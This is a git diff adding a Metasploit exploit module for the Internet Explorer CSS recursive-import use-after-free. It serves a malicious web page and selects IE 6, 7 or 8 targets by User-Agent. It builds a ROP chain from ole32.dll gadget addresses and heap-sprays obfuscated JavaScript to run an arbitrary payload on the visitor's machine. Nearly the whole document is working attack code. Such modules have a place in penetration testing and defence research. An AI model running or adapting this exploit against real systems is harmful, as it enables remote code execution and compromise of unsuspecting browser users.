diff --git a/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb b/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb new file mode 100644 index 0000000000..6ddfcb0cd7 --- /dev/null +++ b/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb @@ -0,0 +1,433 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking # Need more love for Great + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "7.0", # Should be 6 + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => nil, # no way to test without just trying it + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internet Explorer CSS Recursive Import Use After Free', + 'Description' => %q{ + Thie module exploits a memory corruption vulnerability within Microsoft\'s + HTML engine (mshtml). When parsing an HTML page containing a recursive CSS + import, a C++ object is deleted and later reused. This leads to arbitrary + code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'WooYun', # Initial discovery / report + 'd0c_s4vage', # First working public exploit + 'jduck' # Metasploit module (ROP, @WTFuzz spray) + ], + 'Version' => '$Revision$', + 'References' => + [ + #[ 'CVE', '2010-????' ], + [ 'OSVDB', '69796' ], + [ 'BID', '45246' ], + #[ 'URL', 'http://www.microsoft.com/technet/security/advisory/XXXXXX.mspx' ], + [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], + [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ] + #[ 'MSB', 'MS11-XXX' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f', + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], + + [ 'Internet Explorer 8', + { + 'Ret' => 0x105ae020, + 'OnePtrOff' => 0x18, + 'DerefOff' => 0x30, + 'FlagOff' => 0x54, + 'CallDeref1' => 0x20, + 'SignedOff' => 0x1c, + 'CallDeref2' => 0x24, + 'CallDeref3' => 0x00, + 'CallDeref4' => 0x20, + 'Deref4Off' => 0x08 + } + ], + + [ 'Internet Explorer 7', + { + 'Ret' => 0x105ae020, + 'OnePtrOff' => 0x14, + 'DerefOff' => 0x5c, + 'FlagOff' => 0x34, + 'CallDeref1' => 0x1c, + 'SignedOff' => 0x18, + 'CallDeref2' => 0x20, + 'CallDeref3' => 0x00, + 'CallDeref4' => 0x20, + 'Deref4Off' => 0x08 + } + ], + + # For now, treat the IE6 target the same as teh debug target. + [ 'Internet Explorer 6', + { + 'Ret' => 0xc0c0c0c0, + 'OnePtrOff' => 0x14, + 'DerefOff' => 0x5c, + 'FlagOff' => 0x34, + 'CallDeref1' => 0x1c, + 'SignedOff' => 0x18, + 'CallDeref2' => 0x20, + 'CallDeref3' => 0x00, + 'CallDeref4' => 0x20, + 'Deref4Off' => 0x08 + } + ], + + [ 'Debug Target (Crash)', + { + 'Ret' => 0xc0c0c0c0, + 'OnePtrOff' => 0, + 'DerefOff' => 4, + 'FlagOff' => 8, + 'CallDeref1' => 0xc, + 'SignedOff' => 0x10, + 'CallDeref2' => 0x14, + 'CallDeref3' => 0x18, + 'CallDeref4' => 0x1c, + 'Deref4Off' => 0x20 + } + ] + ], + # Full-disclosure post was Dec 8th, original blog Nov 29th + 'DisclosureDate' => 'Nov 29 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ]) + ], self.class) + end + + + def auto_target(cli, request) + mytarget = nil + + agent = request.headers['User-Agent'] + print_status("Checking user agent: #{agent}") + if agent =~ /MSIE 6\.0/ + mytarget = targets[3] + elsif agent =~ /MSIE 7\.0/ + mytarget = targets[2] + elsif agent =~ /MSIE 8\.0/ + mytarget = targets[1] + else + print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") + end + mytarget + end + + + def on_request_uri(cli, request) + + print_status("Received request for %s" % request.uri.inspect) + + mytarget = target + if target.name == 'Automatic' + mytarget = auto_target(cli, request) + if (not mytarget) + send_not_found(cli) + return + end + end + + buf_addr = mytarget.ret + css_name = [buf_addr].pack('V') * (16 / 4) + + # We stick in a placeholder string to replace after UTF-16 encoding + placeholder = "a" * (css_name.length / 2) + uni_placeholder = Rex::Text.to_unicode(placeholder) + + if request.uri == get_resource() or request.uri =~ /\/$/ + print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") + + redir = get_resource() + redir << '/' if redir[-1,1] != '/' + redir << rand_text_alphanumeric(4+rand(4)) + redir << '.html' + send_redirect(cli, redir) + + elsif request.uri =~ /\.html?$/ + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") + + # Generate the ROP payload + # We need a different set of RVAs without MS10-083. Can we detect this remotely? + if datastore['OldOle32'] + rvas = rvas_pre() + else + rvas = rvas_post() + end + rop_stack = generate_rop(buf_addr, rvas) + fix_esp = rva2addr(rvas, 'ret 0x38') + ret = rva2addr(rvas, 'ret') + pivot = rva2addr(rvas, 'xchg eax, esp / ret') + + # Append the payload to the rop_stack + rop_stack << p.encoded + + # Build the deref-fest buffer + len = 0x84 + rop_stack.length + special_sauce = rand_text_alpha(len) + + # This ptr + off must contain 0x00000001 + special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V') + + # Pointer that is dereferenced to get the flag + special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') + + # Low byte must not have bit 1 set + no_bit1 = rand(0xffffffff) & ~2 + special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V') + + # These are deref'd to figure out what to call + special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') + special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') + special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') + # Finally, this one becomes eip + special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V') + + # This byte must be signed (shorter path to flow control) + signed_byte = rand(0xff) | 0x80 + special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') + + # These offsets become a fix_esp ret chain .. + special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) + special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c) + special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now. + + # Add in the rest of the ROP stack + special_sauce[0x84, rop_stack.length] = rop_stack + + # Format for javascript use + special_sauce = Rex::Text.to_unescape(special_sauce) + + # Construct the javascript + custom_js = <<-EOS +function prepare() { +heap = new heapLib.ie(0x20000); +var heapspray = unescape("#{special_sauce}"); +while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); +var heapblock = heapspray; +while(heapblock.length < 0x40000) heapblock += heapblock; +finalspray = heapblock.substring(2, 0x40000 - 0x21); +for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } +} + +function start() { +prepare(); +var vlink = document.createElement("link"); +vlink.setAttribute("rel", "Stylesheet"); +vlink.setAttribute("type", "text/css"); +vlink.setAttribute("href", "#{placeholder}") +document.getElementsByTagName("head")[0].appendChild(vlink); +} +EOS + opts = { + 'Symbols' => { + 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, + 'Methods' => %w{ prepare } + } + } + custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) + js = heaplib(custom_js) + + # Construct the final page + html = <<-EOS + +
+ + + + + +EOS + html = "\xff\xfe" + Rex::Text.to_unicode(html) + html.gsub!(uni_placeholder, css_name) + + send_response(cli, html, { 'Content-Type' => 'text/html' }) + + else + css = <<-EOS +@import url("#{placeholder}"); +@import url("#{placeholder}"); +@import url("#{placeholder}"); +@import url("#{placeholder}"); +EOS + css = "\xff\xfe" + Rex::Text.to_unicode(css) + css.gsub!(uni_placeholder, css_name) + + print_status("Sending #{self.refname} CSS to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") + + send_response(cli, css, { 'Content-Type' => 'text/css' }) + + end + + # Handle the payload + handler(cli) + + end + + def rvas_post() + # ole32.dll version 5.1.2600.6010, post MS10-083 + # Just return this hash + { + 'xchg eax, esp / ret' => 0x7b60e, + 'ret 0x38' => 0x607f1, + 'ret' => 0x7b60e+1, + 'push eax / ret' => 0x1d1e4, + 'pop eax / ret' => 0x58cab, + 'pop ebx / ret' => 0x1da39, + 'pop ecx / ret' => 0x50479, + 'mov eax, [eax] / ret' => 0x22a20, + 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9, + 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2, + 'add edi, [ebx] / ret' => 0x2cc26, + 'rep movsb / pop edi / pop esi / ret' => 0x372c6, + 'call [ebx]' => 0x2ad9 + } + end + + def rvas_pre() + # ole32.dll version 5.1.2600.5512, pre MS10-083 + # Just return this hash + { + 'xchg eax, esp / ret' => 0x7b5e6, + 'ret 0x38' => 0x607c7, + 'ret' => 0x7b5e6+1, + 'push eax / ret' => 0x1d264, + 'pop eax / ret' => 0x1af34, + 'pop ebx / ret' => 0x1dae4, + 'pop ecx / ret' => 0x4f82a, + 'mov eax, [eax] / ret' => 0x22ef3, + 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589, + 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a, + 'add edi, [ebx] / ret' => 0x2d0f6, + 'rep movsb / pop edi / pop esi / ret' => 0x37796, + 'call [ebx]' => 0x2ad9 + } + end + + def generate_rop(buf_addr, rvas) + # ROP fun! (XP SP3 English, Dec 15 2010) + rvas.merge!({ + # Instructions / Name => RVA + 'BaseAddress' => 0x774e0000, + 'imp_VirtualAlloc' => 0x1448, + 'Writable' => 0x12719c + }) + + rop_stack = [ + # Allocate an RWX memory segment + 'pop eax / ret', + 'imp_VirtualAlloc', + + 'mov eax, [eax] / ret', + 'push eax / ret', + 'ret', + 0, # lpAddress + 0x1000, # dwSize + 0x3000, # flAllocationType + 0x40, # flProt + + # Copy the original payload + 'pop ecx / ret', + 'Writable', + + 'mov [ecx], eax / xor eax, eax / pop esi / ret', + :memcpy_src, + + 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4', + :unused, + + 'pop ebx / ret', + :unused, + 'Writable', + + 'add edi, [ebx] / ret', + + 'pop ecx / ret', + 0x200, + + 'rep movsb / pop edi / pop esi / ret', + :unused, + :unused, + + # Execute the payload ;) + 'call [ebx]' + ] + + rop_stack.map! { |e| + if e.kind_of? String + # Meta-replace (RVA) + raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] + rvas['BaseAddress'] + rvas[e] + + elsif e == :unused + # Randomize + rand_text(4).unpack('V').first + + elsif e == :memcpy_src + # Based on stack length.. + buf_addr + 0x84 + (rop_stack.length * 4) + + else + # Literal + e + end + } + + rop_stack.pack('V*') + end + + def rva2addr(rvas, key) + raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] + rvas['BaseAddress'] + rvas[key] + end + +end